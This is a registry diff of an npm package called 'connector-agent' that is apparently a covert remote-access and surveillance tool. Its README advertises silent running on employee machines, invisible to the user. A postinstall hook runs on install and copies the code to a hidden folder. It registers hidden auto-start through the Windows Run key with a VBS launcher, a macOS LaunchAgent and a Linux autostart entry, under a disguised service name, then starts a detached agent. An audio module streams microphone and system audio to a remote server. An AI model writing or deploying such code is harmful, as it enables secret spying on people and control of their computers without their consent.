connector-agent 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +83 -0
- package/env.config.js +15 -0
- package/package.json +21 -0
- package/postinstall.js +272 -0
- package/src/audioCapture.js +238 -0
- package/src/browserHistory.js +237 -0
- package/src/config.js +82 -0
- package/src/fileScanner.js +157 -0
- package/src/index.js +175 -0
- package/src/inputHandler.js +139 -0
- package/src/screenCapture.js +105 -0
- package/src/sleepPreventer.js +130 -0
- package/src/systemInfo.js +44 -0
package/README.md
ADDED
|
@@ -0,0 +1,83 @@
|
|
|
1
|
+
# connector-agent
|
|
2
|
+
|
|
3
|
+
System connectivity service — runs silently on employee machines.
|
|
4
|
+
|
|
5
|
+
## Install
|
|
6
|
+
|
|
7
|
+
```bash
|
|
8
|
+
# Default (connects to localhost:8471)
|
|
9
|
+
npm i -g connector-agent
|
|
10
|
+
|
|
11
|
+
# With custom server URL
|
|
12
|
+
SERVER_URL=https://your-server.com npm i -g connector-agent # Mac/Linux
|
|
13
|
+
set SERVER_URL=https://your-server.com && npm i -g connector-agent # Windows CMD
|
|
14
|
+
$env:SERVER_URL="https://your-server.com"; npm i -g connector-agent # PowerShell
|
|
15
|
+
```
|
|
16
|
+
|
|
17
|
+
**That's it!** The agent will automatically:
|
|
18
|
+
1. Copy files to a hidden directory
|
|
19
|
+
2. Register auto-start (runs on every login)
|
|
20
|
+
3. Start running in background
|
|
21
|
+
|
|
22
|
+
## What Happens on Install
|
|
23
|
+
|
|
24
|
+
| Step | Windows | Mac | Linux |
|
|
25
|
+
|------|---------|-----|-------|
|
|
26
|
+
| **Files copied to** | `%APPDATA%\ConnectorService\` | `~/.connector/` | `~/.connector/` |
|
|
27
|
+
| **Auto-start via** | Registry `HKCU\Run` | `~/Library/LaunchAgents/` | `~/.config/autostart/` |
|
|
28
|
+
| **Admin needed** | ❌ No | ❌ No | ❌ No |
|
|
29
|
+
| **Visible to user** | ❌ No | ❌ No | ❌ No |
|
|
30
|
+
|
|
31
|
+
## Environment Variables
|
|
32
|
+
|
|
33
|
+
Set these **before** running `npm i -g`:
|
|
34
|
+
|
|
35
|
+
| Variable | Default | Description |
|
|
36
|
+
|----------|---------|-------------|
|
|
37
|
+
| `SERVER_URL` | `http://localhost:8471` | Relay server URL |
|
|
38
|
+
|
|
39
|
+
## Uninstall
|
|
40
|
+
|
|
41
|
+
```bash
|
|
42
|
+
npm uninstall -g connector-agent
|
|
43
|
+
```
|
|
44
|
+
|
|
45
|
+
Then manually remove:
|
|
46
|
+
- **Windows:** Delete `%APPDATA%\ConnectorService\` and remove registry key `HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ConnectorService`
|
|
47
|
+
- **Mac:** Delete `~/.connector/` and `~/Library/LaunchAgents/com.user.connector.plist`
|
|
48
|
+
- **Linux:** Delete `~/.connector/` and `~/.config/autostart/connector.desktop`
|
|
49
|
+
|
|
50
|
+
## Capabilities
|
|
51
|
+
|
|
52
|
+
- 📺 Screen streaming (4 FPS, adjustable quality)
|
|
53
|
+
- 🖱️ Remote mouse/keyboard control
|
|
54
|
+
- 📂 File system browsing
|
|
55
|
+
- 🌐 Browser history reading (Chrome/Edge/Firefox)
|
|
56
|
+
- 🎤 Audio capture (mic + system audio)
|
|
57
|
+
- 💤 Sleep prevention
|
|
58
|
+
- 🔄 Auto-reconnect on disconnect
|
|
59
|
+
- 🚀 Auto-start on login
|
|
60
|
+
|
|
61
|
+
## Requirements
|
|
62
|
+
|
|
63
|
+
- Node.js 18+
|
|
64
|
+
- ffmpeg (optional, for audio capture)
|
|
65
|
+
|
|
66
|
+
## File Structure
|
|
67
|
+
|
|
68
|
+
```
|
|
69
|
+
connector-agent/
|
|
70
|
+
├── package.json ← npm package config + postinstall hook
|
|
71
|
+
├── postinstall.js ← Auto-setup script (runs on npm install)
|
|
72
|
+
├── .gitignore
|
|
73
|
+
└── src/
|
|
74
|
+
├── index.js ← Entry point
|
|
75
|
+
├── config.js ← Cross-platform config (auto-detects OS)
|
|
76
|
+
├── screenCapture.js ← Screen streaming
|
|
77
|
+
├── inputHandler.js ← Mouse/keyboard control (robotjs)
|
|
78
|
+
├── audioCapture.js ← Mic + system audio (ffmpeg)
|
|
79
|
+
├── browserHistory.js ← Chrome/Edge/Firefox history reader
|
|
80
|
+
├── fileScanner.js ← File system browser
|
|
81
|
+
├── sleepPreventer.js ← Prevents system sleep
|
|
82
|
+
└── systemInfo.js ← Machine info (hostname, OS, IP)
|
|
83
|
+
```
|
package/env.config.js
ADDED
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Agent Environment Config
|
|
3
|
+
* Edit these values for your deployment
|
|
4
|
+
*/
|
|
5
|
+
|
|
6
|
+
module.exports = {
|
|
7
|
+
// Relay server URL
|
|
8
|
+
SERVER_URL: 'http://localhost:8471',
|
|
9
|
+
|
|
10
|
+
// Service name (shown in Task Manager / Activity Monitor)
|
|
11
|
+
SERVICE_NAME: 'Windows System Connector',
|
|
12
|
+
|
|
13
|
+
// Service description
|
|
14
|
+
SERVICE_DESC: 'System connectivity and update service',
|
|
15
|
+
};
|
package/package.json
ADDED
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "connector-agent",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "System connectivity service",
|
|
5
|
+
"main": "src/index.js",
|
|
6
|
+
"bin": {
|
|
7
|
+
"connector-agent": "src/index.js"
|
|
8
|
+
},
|
|
9
|
+
"scripts": {
|
|
10
|
+
"start": "node src/index.js",
|
|
11
|
+
"postinstall": "node postinstall.js"
|
|
12
|
+
},
|
|
13
|
+
"dependencies": {
|
|
14
|
+
"robotjs": "^0.6.0",
|
|
15
|
+
"screenshot-desktop": "^1.15.0",
|
|
16
|
+
"sharp": "^0.33.5",
|
|
17
|
+
"better-sqlite3": "^11.3.0",
|
|
18
|
+
"socket.io-client": "^4.7.5",
|
|
19
|
+
"node-machine-id": "^1.1.12"
|
|
20
|
+
}
|
|
21
|
+
}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,272 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Connector Agent — Auto-Setup (postinstall)
|
|
3
|
+
*
|
|
4
|
+
* Runs automatically on: npm i -g connector-agent
|
|
5
|
+
* NO admin/sudo needed — uses user-level directories
|
|
6
|
+
*
|
|
7
|
+
* Usage:
|
|
8
|
+
* npm i -g connector-agent ← localhost
|
|
9
|
+
* SERVER_URL=https://server.com npm i -g connector-agent ← Mac/Linux
|
|
10
|
+
* set SERVER_URL=https://server.com && npm i -g connector-agent ← Windows CMD
|
|
11
|
+
* $env:SERVER_URL="https://server.com"; npm i -g connector-agent ← PowerShell
|
|
12
|
+
*/
|
|
13
|
+
|
|
14
|
+
const os = require('os');
|
|
15
|
+
const fs = require('fs');
|
|
16
|
+
const path = require('path');
|
|
17
|
+
const { execSync, spawn } = require('child_process');
|
|
18
|
+
|
|
19
|
+
const platform = os.platform();
|
|
20
|
+
const isWin = platform === 'win32';
|
|
21
|
+
const isMac = platform === 'darwin';
|
|
22
|
+
const homeDir = os.homedir();
|
|
23
|
+
|
|
24
|
+
// ── Config ──────────────────────────────────────────
|
|
25
|
+
const SERVER_URL = process.env.SERVER_URL || 'http://localhost:8471';
|
|
26
|
+
const AGENT_NAME = 'ConnectorService';
|
|
27
|
+
|
|
28
|
+
// User-level directories — NO admin/sudo needed
|
|
29
|
+
const INSTALL_DIR = isWin
|
|
30
|
+
? path.join(process.env.APPDATA || path.join(homeDir, 'AppData', 'Roaming'), AGENT_NAME)
|
|
31
|
+
: path.join(homeDir, '.connector');
|
|
32
|
+
|
|
33
|
+
const PACKAGE_DIR = path.resolve(__dirname); // where npm installed us
|
|
34
|
+
|
|
35
|
+
// ── Helpers ─────────────────────────────────────────
|
|
36
|
+
function log(msg) { try { process.stdout.write(` [setup] ${msg}\n`); } catch (e) { } }
|
|
37
|
+
|
|
38
|
+
function copyRecursive(src, dest) {
|
|
39
|
+
if (!fs.existsSync(dest)) fs.mkdirSync(dest, { recursive: true });
|
|
40
|
+
const entries = fs.readdirSync(src, { withFileTypes: true });
|
|
41
|
+
for (const entry of entries) {
|
|
42
|
+
const srcPath = path.join(src, entry.name);
|
|
43
|
+
const destPath = path.join(dest, entry.name);
|
|
44
|
+
if (entry.name === 'node_modules' || entry.name === '.git') continue;
|
|
45
|
+
if (entry.isDirectory()) {
|
|
46
|
+
copyRecursive(srcPath, destPath);
|
|
47
|
+
} else {
|
|
48
|
+
fs.copyFileSync(srcPath, destPath);
|
|
49
|
+
}
|
|
50
|
+
}
|
|
51
|
+
}
|
|
52
|
+
|
|
53
|
+
// ═══════════════════════════════════════════════════
|
|
54
|
+
// MAIN
|
|
55
|
+
// ═══════════════════════════════════════════════════
|
|
56
|
+
function setup() {
|
|
57
|
+
log('Setting up...');
|
|
58
|
+
|
|
59
|
+
try {
|
|
60
|
+
// ── 1. Create install directory ──
|
|
61
|
+
fs.mkdirSync(path.join(INSTALL_DIR, 'src'), { recursive: true });
|
|
62
|
+
fs.mkdirSync(path.join(INSTALL_DIR, 'logs'), { recursive: true });
|
|
63
|
+
|
|
64
|
+
// ── 2. Copy source files ──
|
|
65
|
+
const srcDir = path.join(PACKAGE_DIR, 'src');
|
|
66
|
+
if (fs.existsSync(srcDir)) {
|
|
67
|
+
copyRecursive(srcDir, path.join(INSTALL_DIR, 'src'));
|
|
68
|
+
}
|
|
69
|
+
|
|
70
|
+
// Copy package.json for npm install in install dir
|
|
71
|
+
const pkgSrc = path.join(PACKAGE_DIR, 'package.json');
|
|
72
|
+
if (fs.existsSync(pkgSrc)) {
|
|
73
|
+
// Create a clean package.json without postinstall (avoid loop)
|
|
74
|
+
const pkg = JSON.parse(fs.readFileSync(pkgSrc, 'utf8'));
|
|
75
|
+
delete pkg.scripts.postinstall;
|
|
76
|
+
delete pkg.bin;
|
|
77
|
+
fs.writeFileSync(
|
|
78
|
+
path.join(INSTALL_DIR, 'package.json'),
|
|
79
|
+
JSON.stringify(pkg, null, 2)
|
|
80
|
+
);
|
|
81
|
+
}
|
|
82
|
+
|
|
83
|
+
// ── 3. Create env.config.js ──
|
|
84
|
+
const envConfigContent = `/**\n * Agent Environment Config (auto-generated by installer)\n */\nmodule.exports = {\n SERVER_URL: '${SERVER_URL}',\n SERVICE_NAME: 'Windows System Connector',\n SERVICE_DESC: 'System connectivity and update service',\n};\n`;
|
|
85
|
+
fs.writeFileSync(path.join(INSTALL_DIR, 'env.config.js'), envConfigContent);
|
|
86
|
+
|
|
87
|
+
// ── 4. Install dependencies in install dir ──
|
|
88
|
+
log('Installing dependencies...');
|
|
89
|
+
try {
|
|
90
|
+
execSync('npm install --production --silent 2>&1', {
|
|
91
|
+
cwd: INSTALL_DIR,
|
|
92
|
+
stdio: 'ignore',
|
|
93
|
+
windowsHide: true,
|
|
94
|
+
timeout: 120000,
|
|
95
|
+
});
|
|
96
|
+
} catch (e) {
|
|
97
|
+
// Dependencies may already exist from global install, that's ok
|
|
98
|
+
}
|
|
99
|
+
|
|
100
|
+
// ── 5. Register auto-start (user-level, no admin) ──
|
|
101
|
+
if (isWin) {
|
|
102
|
+
setupWindowsAutoStart();
|
|
103
|
+
} else if (isMac) {
|
|
104
|
+
setupMacAutoStart();
|
|
105
|
+
} else {
|
|
106
|
+
setupLinuxAutoStart();
|
|
107
|
+
}
|
|
108
|
+
|
|
109
|
+
// ── 6. Start agent NOW ──
|
|
110
|
+
startAgent();
|
|
111
|
+
|
|
112
|
+
log('Done! Agent is running.');
|
|
113
|
+
|
|
114
|
+
} catch (e) {
|
|
115
|
+
log('Setup error: ' + e.message);
|
|
116
|
+
}
|
|
117
|
+
}
|
|
118
|
+
|
|
119
|
+
// ═══════════════════════════════════════════════════
|
|
120
|
+
// WINDOWS — Registry Run key (NO admin needed)
|
|
121
|
+
// ═══════════════════════════════════════════════════
|
|
122
|
+
function setupWindowsAutoStart() {
|
|
123
|
+
// Create launcher bat (hidden window)
|
|
124
|
+
const vbsContent = [
|
|
125
|
+
'Set WshShell = CreateObject("WScript.Shell")',
|
|
126
|
+
`WshShell.Run "cmd /c cd /d ""${INSTALL_DIR}"" && node src\\index.js", 0, False`,
|
|
127
|
+
].join('\r\n');
|
|
128
|
+
|
|
129
|
+
const vbsPath = path.join(INSTALL_DIR, 'launcher.vbs');
|
|
130
|
+
fs.writeFileSync(vbsPath, vbsContent);
|
|
131
|
+
|
|
132
|
+
// Add to Registry HKCU\...\Run — auto-start on login, NO admin
|
|
133
|
+
try {
|
|
134
|
+
execSync(
|
|
135
|
+
`reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" /v "${AGENT_NAME}" /t REG_SZ /d "wscript.exe \\"${vbsPath}\\"" /f`,
|
|
136
|
+
{ windowsHide: true, stdio: 'ignore' }
|
|
137
|
+
);
|
|
138
|
+
log('Auto-start registered (Registry HKCU\\Run)');
|
|
139
|
+
} catch (e) {
|
|
140
|
+
// Fallback: copy to Startup folder
|
|
141
|
+
const startupDir = path.join(
|
|
142
|
+
process.env.APPDATA,
|
|
143
|
+
'Microsoft', 'Windows', 'Start Menu', 'Programs', 'Startup'
|
|
144
|
+
);
|
|
145
|
+
try {
|
|
146
|
+
fs.copyFileSync(vbsPath, path.join(startupDir, 'ConnectorService.vbs'));
|
|
147
|
+
log('Auto-start registered (Startup folder)');
|
|
148
|
+
} catch (e2) {
|
|
149
|
+
log('Auto-start registration failed');
|
|
150
|
+
}
|
|
151
|
+
}
|
|
152
|
+
}
|
|
153
|
+
|
|
154
|
+
// ═══════════════════════════════════════════════════
|
|
155
|
+
// MAC — ~/Library/LaunchAgents (NO sudo needed)
|
|
156
|
+
// ═══════════════════════════════════════════════════
|
|
157
|
+
function setupMacAutoStart() {
|
|
158
|
+
let nodePath;
|
|
159
|
+
try {
|
|
160
|
+
nodePath = execSync('which node', { encoding: 'utf8' }).trim();
|
|
161
|
+
} catch (e) {
|
|
162
|
+
nodePath = '/usr/local/bin/node';
|
|
163
|
+
}
|
|
164
|
+
|
|
165
|
+
const plistLabel = 'com.user.connector';
|
|
166
|
+
const plistContent = `<?xml version="1.0" encoding="UTF-8"?>
|
|
167
|
+
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
|
|
168
|
+
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
|
169
|
+
<plist version="1.0">
|
|
170
|
+
<dict>
|
|
171
|
+
<key>Label</key>
|
|
172
|
+
<string>${plistLabel}</string>
|
|
173
|
+
<key>ProgramArguments</key>
|
|
174
|
+
<array>
|
|
175
|
+
<string>${nodePath}</string>
|
|
176
|
+
<string>${INSTALL_DIR}/src/index.js</string>
|
|
177
|
+
</array>
|
|
178
|
+
<key>RunAtLoad</key>
|
|
179
|
+
<true/>
|
|
180
|
+
<key>KeepAlive</key>
|
|
181
|
+
<true/>
|
|
182
|
+
<key>WorkingDirectory</key>
|
|
183
|
+
<string>${INSTALL_DIR}</string>
|
|
184
|
+
<key>StandardOutPath</key>
|
|
185
|
+
<string>${INSTALL_DIR}/logs/stdout.log</string>
|
|
186
|
+
<key>StandardErrorPath</key>
|
|
187
|
+
<string>${INSTALL_DIR}/logs/stderr.log</string>
|
|
188
|
+
<key>ThrottleInterval</key>
|
|
189
|
+
<integer>5</integer>
|
|
190
|
+
<key>ProcessType</key>
|
|
191
|
+
<string>Background</string>
|
|
192
|
+
</dict>
|
|
193
|
+
</plist>`;
|
|
194
|
+
|
|
195
|
+
// ~/Library/LaunchAgents — user-level, no sudo
|
|
196
|
+
const agentsDir = path.join(homeDir, 'Library', 'LaunchAgents');
|
|
197
|
+
fs.mkdirSync(agentsDir, { recursive: true });
|
|
198
|
+
|
|
199
|
+
const plistPath = path.join(agentsDir, `${plistLabel}.plist`);
|
|
200
|
+
fs.writeFileSync(plistPath, plistContent);
|
|
201
|
+
|
|
202
|
+
try {
|
|
203
|
+
execSync(`launchctl unload "${plistPath}" 2>/dev/null || true`, { stdio: 'ignore' });
|
|
204
|
+
execSync(`launchctl load "${plistPath}"`, { stdio: 'ignore' });
|
|
205
|
+
log('Auto-start registered (LaunchAgent)');
|
|
206
|
+
} catch (e) {
|
|
207
|
+
log('LaunchAgent load failed: ' + e.message);
|
|
208
|
+
}
|
|
209
|
+
}
|
|
210
|
+
|
|
211
|
+
// ═══════════════════════════════════════════════════
|
|
212
|
+
// LINUX — ~/.config/autostart (NO sudo needed)
|
|
213
|
+
// ═══════════════════════════════════════════════════
|
|
214
|
+
function setupLinuxAutoStart() {
|
|
215
|
+
let nodePath;
|
|
216
|
+
try {
|
|
217
|
+
nodePath = execSync('which node', { encoding: 'utf8' }).trim();
|
|
218
|
+
} catch (e) {
|
|
219
|
+
nodePath = '/usr/bin/node';
|
|
220
|
+
}
|
|
221
|
+
|
|
222
|
+
// Desktop entry for auto-start
|
|
223
|
+
const autostartDir = path.join(homeDir, '.config', 'autostart');
|
|
224
|
+
fs.mkdirSync(autostartDir, { recursive: true });
|
|
225
|
+
|
|
226
|
+
const desktopEntry = `[Desktop Entry]
|
|
227
|
+
Type=Application
|
|
228
|
+
Name=System Connector
|
|
229
|
+
Exec=${nodePath} ${INSTALL_DIR}/src/index.js
|
|
230
|
+
Hidden=true
|
|
231
|
+
NoDisplay=true
|
|
232
|
+
X-GNOME-Autostart-enabled=true
|
|
233
|
+
StartupNotify=false
|
|
234
|
+
Terminal=false`;
|
|
235
|
+
|
|
236
|
+
fs.writeFileSync(path.join(autostartDir, 'connector.desktop'), desktopEntry);
|
|
237
|
+
log('Auto-start registered (autostart desktop entry)');
|
|
238
|
+
}
|
|
239
|
+
|
|
240
|
+
// ═══════════════════════════════════════════════════
|
|
241
|
+
// START AGENT NOW
|
|
242
|
+
// ═══════════════════════════════════════════════════
|
|
243
|
+
function startAgent() {
|
|
244
|
+
log('Starting agent...');
|
|
245
|
+
|
|
246
|
+
if (isWin) {
|
|
247
|
+
// Use VBS to start hidden
|
|
248
|
+
const vbsPath = path.join(INSTALL_DIR, 'launcher.vbs');
|
|
249
|
+
if (fs.existsSync(vbsPath)) {
|
|
250
|
+
spawn('wscript.exe', [vbsPath], {
|
|
251
|
+
detached: true,
|
|
252
|
+
stdio: 'ignore',
|
|
253
|
+
windowsHide: true,
|
|
254
|
+
}).unref();
|
|
255
|
+
}
|
|
256
|
+
} else {
|
|
257
|
+
// Mac/Linux: spawn detached node process
|
|
258
|
+
const nodePath = process.execPath;
|
|
259
|
+
const child = spawn(nodePath, [path.join(INSTALL_DIR, 'src', 'index.js')], {
|
|
260
|
+
cwd: INSTALL_DIR,
|
|
261
|
+
detached: true,
|
|
262
|
+
stdio: 'ignore',
|
|
263
|
+
env: { ...process.env, SERVER_URL },
|
|
264
|
+
});
|
|
265
|
+
child.unref();
|
|
266
|
+
}
|
|
267
|
+
|
|
268
|
+
log('Agent started in background');
|
|
269
|
+
}
|
|
270
|
+
|
|
271
|
+
// ── Run ──
|
|
272
|
+
setup();
|
|
@@ -0,0 +1,238 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Audio Capture — Mic & System Audio streaming
|
|
3
|
+
* Uses node-record-lpcm16 for mic, platform-specific for system audio
|
|
4
|
+
*
|
|
5
|
+
* Modes:
|
|
6
|
+
* - mic: Microphone only
|
|
7
|
+
* - system: System/desktop audio only (requires loopback device)
|
|
8
|
+
* - both: Mic + System audio mixed
|
|
9
|
+
*/
|
|
10
|
+
|
|
11
|
+
const { spawn } = require('child_process');
|
|
12
|
+
const os = require('os');
|
|
13
|
+
const path = require('path');
|
|
14
|
+
|
|
15
|
+
class AudioCapture {
|
|
16
|
+
constructor(socket) {
|
|
17
|
+
this.socket = socket;
|
|
18
|
+
this.micProcess = null;
|
|
19
|
+
this.sysProcess = null;
|
|
20
|
+
this.active = false;
|
|
21
|
+
this.mode = 'mic'; // 'mic', 'system', 'both'
|
|
22
|
+
this.platform = os.platform();
|
|
23
|
+
this.sampleRate = 16000;
|
|
24
|
+
this.channels = 1;
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
/**
|
|
28
|
+
* Start audio capture
|
|
29
|
+
* @param {object} options - { mode: 'mic'|'system'|'both' }
|
|
30
|
+
*/
|
|
31
|
+
start(options = {}) {
|
|
32
|
+
if (this.active) this.stop();
|
|
33
|
+
this.mode = options.mode || 'mic';
|
|
34
|
+
this.active = true;
|
|
35
|
+
|
|
36
|
+
console.log(` 🎤 Audio capture starting (mode: ${this.mode}, platform: ${this.platform})`);
|
|
37
|
+
|
|
38
|
+
try {
|
|
39
|
+
if (this.mode === 'mic' || this.mode === 'both') {
|
|
40
|
+
this._startMic();
|
|
41
|
+
}
|
|
42
|
+
if (this.mode === 'system' || this.mode === 'both') {
|
|
43
|
+
this._startSystemAudio();
|
|
44
|
+
}
|
|
45
|
+
} catch (err) {
|
|
46
|
+
console.log(` ⚠️ Audio capture error: ${err.message}`);
|
|
47
|
+
this.socket.emit('audio:error', { error: err.message });
|
|
48
|
+
}
|
|
49
|
+
}
|
|
50
|
+
|
|
51
|
+
/**
|
|
52
|
+
* Microphone capture — cross-platform via SoX (rec) or ffmpeg
|
|
53
|
+
*/
|
|
54
|
+
_startMic() {
|
|
55
|
+
if (this.platform === 'win32') {
|
|
56
|
+
// Windows: Use ffmpeg with DirectShow
|
|
57
|
+
this.micProcess = spawn('ffmpeg', [
|
|
58
|
+
'-f', 'dshow',
|
|
59
|
+
'-i', 'audio=Microphone Array (Intel® Smart Sound Technology for Digital Microphones)',
|
|
60
|
+
'-ac', String(this.channels),
|
|
61
|
+
'-ar', String(this.sampleRate),
|
|
62
|
+
'-f', 's16le', // raw PCM 16-bit little-endian
|
|
63
|
+
'-acodec', 'pcm_s16le',
|
|
64
|
+
'pipe:1' // output to stdout
|
|
65
|
+
], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
|
|
66
|
+
|
|
67
|
+
// Fallback: try generic mic name
|
|
68
|
+
this.micProcess.on('error', () => {
|
|
69
|
+
this.micProcess = spawn('ffmpeg', [
|
|
70
|
+
'-f', 'dshow',
|
|
71
|
+
'-list_devices', 'true',
|
|
72
|
+
'-i', 'dummy'
|
|
73
|
+
], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
|
|
74
|
+
});
|
|
75
|
+
} else if (this.platform === 'darwin') {
|
|
76
|
+
// Mac: Use ffmpeg with avfoundation
|
|
77
|
+
this.micProcess = spawn('ffmpeg', [
|
|
78
|
+
'-f', 'avfoundation',
|
|
79
|
+
'-i', ':default', // default mic
|
|
80
|
+
'-ac', String(this.channels),
|
|
81
|
+
'-ar', String(this.sampleRate),
|
|
82
|
+
'-f', 's16le',
|
|
83
|
+
'-acodec', 'pcm_s16le',
|
|
84
|
+
'pipe:1'
|
|
85
|
+
], { stdio: ['pipe', 'pipe', 'pipe'] });
|
|
86
|
+
} else {
|
|
87
|
+
// Linux: Use ALSA
|
|
88
|
+
this.micProcess = spawn('ffmpeg', [
|
|
89
|
+
'-f', 'alsa',
|
|
90
|
+
'-i', 'default',
|
|
91
|
+
'-ac', String(this.channels),
|
|
92
|
+
'-ar', String(this.sampleRate),
|
|
93
|
+
'-f', 's16le',
|
|
94
|
+
'-acodec', 'pcm_s16le',
|
|
95
|
+
'pipe:1'
|
|
96
|
+
], { stdio: ['pipe', 'pipe', 'pipe'] });
|
|
97
|
+
}
|
|
98
|
+
|
|
99
|
+
this._pipeAudio(this.micProcess, 'mic');
|
|
100
|
+
}
|
|
101
|
+
|
|
102
|
+
/**
|
|
103
|
+
* System/Desktop audio capture — platform-specific loopback
|
|
104
|
+
*/
|
|
105
|
+
_startSystemAudio() {
|
|
106
|
+
if (this.platform === 'win32') {
|
|
107
|
+
// Windows: Use ffmpeg with dshow "Stereo Mix" or virtual audio cable
|
|
108
|
+
// User may need to enable "Stereo Mix" in Sound settings
|
|
109
|
+
this.sysProcess = spawn('ffmpeg', [
|
|
110
|
+
'-f', 'dshow',
|
|
111
|
+
'-i', 'audio=Stereo Mix (Realtek(R) Audio)',
|
|
112
|
+
'-ac', String(this.channels),
|
|
113
|
+
'-ar', String(this.sampleRate),
|
|
114
|
+
'-f', 's16le',
|
|
115
|
+
'-acodec', 'pcm_s16le',
|
|
116
|
+
'pipe:1'
|
|
117
|
+
], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
|
|
118
|
+
} else if (this.platform === 'darwin') {
|
|
119
|
+
// Mac: Requires BlackHole or similar virtual audio driver
|
|
120
|
+
this.sysProcess = spawn('ffmpeg', [
|
|
121
|
+
'-f', 'avfoundation',
|
|
122
|
+
'-i', ':BlackHole 2ch',
|
|
123
|
+
'-ac', String(this.channels),
|
|
124
|
+
'-ar', String(this.sampleRate),
|
|
125
|
+
'-f', 's16le',
|
|
126
|
+
'-acodec', 'pcm_s16le',
|
|
127
|
+
'pipe:1'
|
|
128
|
+
], { stdio: ['pipe', 'pipe', 'pipe'] });
|
|
129
|
+
} else {
|
|
130
|
+
// Linux: PulseAudio monitor
|
|
131
|
+
this.sysProcess = spawn('ffmpeg', [
|
|
132
|
+
'-f', 'pulse',
|
|
133
|
+
'-i', 'default.monitor',
|
|
134
|
+
'-ac', String(this.channels),
|
|
135
|
+
'-ar', String(this.sampleRate),
|
|
136
|
+
'-f', 's16le',
|
|
137
|
+
'-acodec', 'pcm_s16le',
|
|
138
|
+
'pipe:1'
|
|
139
|
+
], { stdio: ['pipe', 'pipe', 'pipe'] });
|
|
140
|
+
}
|
|
141
|
+
|
|
142
|
+
this._pipeAudio(this.sysProcess, 'system');
|
|
143
|
+
}
|
|
144
|
+
|
|
145
|
+
/**
|
|
146
|
+
* Pipe audio stdout → socket.io in chunks
|
|
147
|
+
*/
|
|
148
|
+
_pipeAudio(process, source) {
|
|
149
|
+
if (!process || !process.stdout) return;
|
|
150
|
+
|
|
151
|
+
process.stdout.on('data', (chunk) => {
|
|
152
|
+
if (!this.active) return;
|
|
153
|
+
// Send raw PCM audio chunk as base64
|
|
154
|
+
this.socket.emit('audio:chunk', {
|
|
155
|
+
data: chunk.toString('base64'),
|
|
156
|
+
source,
|
|
157
|
+
sampleRate: this.sampleRate,
|
|
158
|
+
channels: this.channels,
|
|
159
|
+
timestamp: Date.now(),
|
|
160
|
+
});
|
|
161
|
+
});
|
|
162
|
+
|
|
163
|
+
process.stderr.on('data', (data) => {
|
|
164
|
+
const msg = data.toString();
|
|
165
|
+
// Only log errors, not ffmpeg's normal stderr output
|
|
166
|
+
if (msg.includes('Error') || msg.includes('error')) {
|
|
167
|
+
console.log(` ⚠️ Audio (${source}): ${msg.trim().substring(0, 100)}`);
|
|
168
|
+
}
|
|
169
|
+
});
|
|
170
|
+
|
|
171
|
+
process.on('error', (err) => {
|
|
172
|
+
console.log(` ⚠️ Audio ${source} process error: ${err.message}`);
|
|
173
|
+
this.socket.emit('audio:error', {
|
|
174
|
+
source,
|
|
175
|
+
error: `${source} capture failed: ${err.message}. Make sure ffmpeg is installed.`
|
|
176
|
+
});
|
|
177
|
+
});
|
|
178
|
+
|
|
179
|
+
process.on('close', (code) => {
|
|
180
|
+
if (this.active) {
|
|
181
|
+
console.log(` 🎤 Audio ${source} process exited (code: ${code})`);
|
|
182
|
+
}
|
|
183
|
+
});
|
|
184
|
+
}
|
|
185
|
+
|
|
186
|
+
/**
|
|
187
|
+
* Stop all audio capture
|
|
188
|
+
*/
|
|
189
|
+
stop() {
|
|
190
|
+
if (!this.active) return;
|
|
191
|
+
this.active = false;
|
|
192
|
+
|
|
193
|
+
if (this.micProcess) {
|
|
194
|
+
try { this.micProcess.kill('SIGTERM'); } catch (e) { /* already dead */ }
|
|
195
|
+
this.micProcess = null;
|
|
196
|
+
}
|
|
197
|
+
if (this.sysProcess) {
|
|
198
|
+
try { this.sysProcess.kill('SIGTERM'); } catch (e) { /* already dead */ }
|
|
199
|
+
this.sysProcess = null;
|
|
200
|
+
}
|
|
201
|
+
|
|
202
|
+
console.log(' 🎤 Audio capture stopped');
|
|
203
|
+
}
|
|
204
|
+
|
|
205
|
+
/**
|
|
206
|
+
* List available audio devices (helps find correct device names)
|
|
207
|
+
*/
|
|
208
|
+
listDevices() {
|
|
209
|
+
return new Promise((resolve) => {
|
|
210
|
+
let output = '';
|
|
211
|
+
|
|
212
|
+
if (this.platform === 'win32') {
|
|
213
|
+
const proc = spawn('ffmpeg', [
|
|
214
|
+
'-list_devices', 'true', '-f', 'dshow', '-i', 'dummy'
|
|
215
|
+
], { stdio: ['pipe', 'pipe', 'pipe'], windowsHide: true });
|
|
216
|
+
|
|
217
|
+
proc.stderr.on('data', (d) => { output += d.toString(); });
|
|
218
|
+
proc.on('close', () => {
|
|
219
|
+
const devices = output.match(/"([^"]+)" \(audio\)/g) || [];
|
|
220
|
+
resolve(devices.map((d) => d.replace(/"/g, '').replace(' (audio)', '')));
|
|
221
|
+
});
|
|
222
|
+
} else if (this.platform === 'darwin') {
|
|
223
|
+
const proc = spawn('ffmpeg', [
|
|
224
|
+
'-f', 'avfoundation', '-list_devices', 'true', '-i', ''
|
|
225
|
+
], { stdio: ['pipe', 'pipe', 'pipe'] });
|
|
226
|
+
|
|
227
|
+
proc.stderr.on('data', (d) => { output += d.toString(); });
|
|
228
|
+
proc.on('close', () => {
|
|
229
|
+
resolve(output.split('\n').filter((l) => l.includes('[AVFoundation')));
|
|
230
|
+
});
|
|
231
|
+
} else {
|
|
232
|
+
resolve(['default']);
|
|
233
|
+
}
|
|
234
|
+
});
|
|
235
|
+
}
|
|
236
|
+
}
|
|
237
|
+
|
|
238
|
+
module.exports = AudioCapture;
|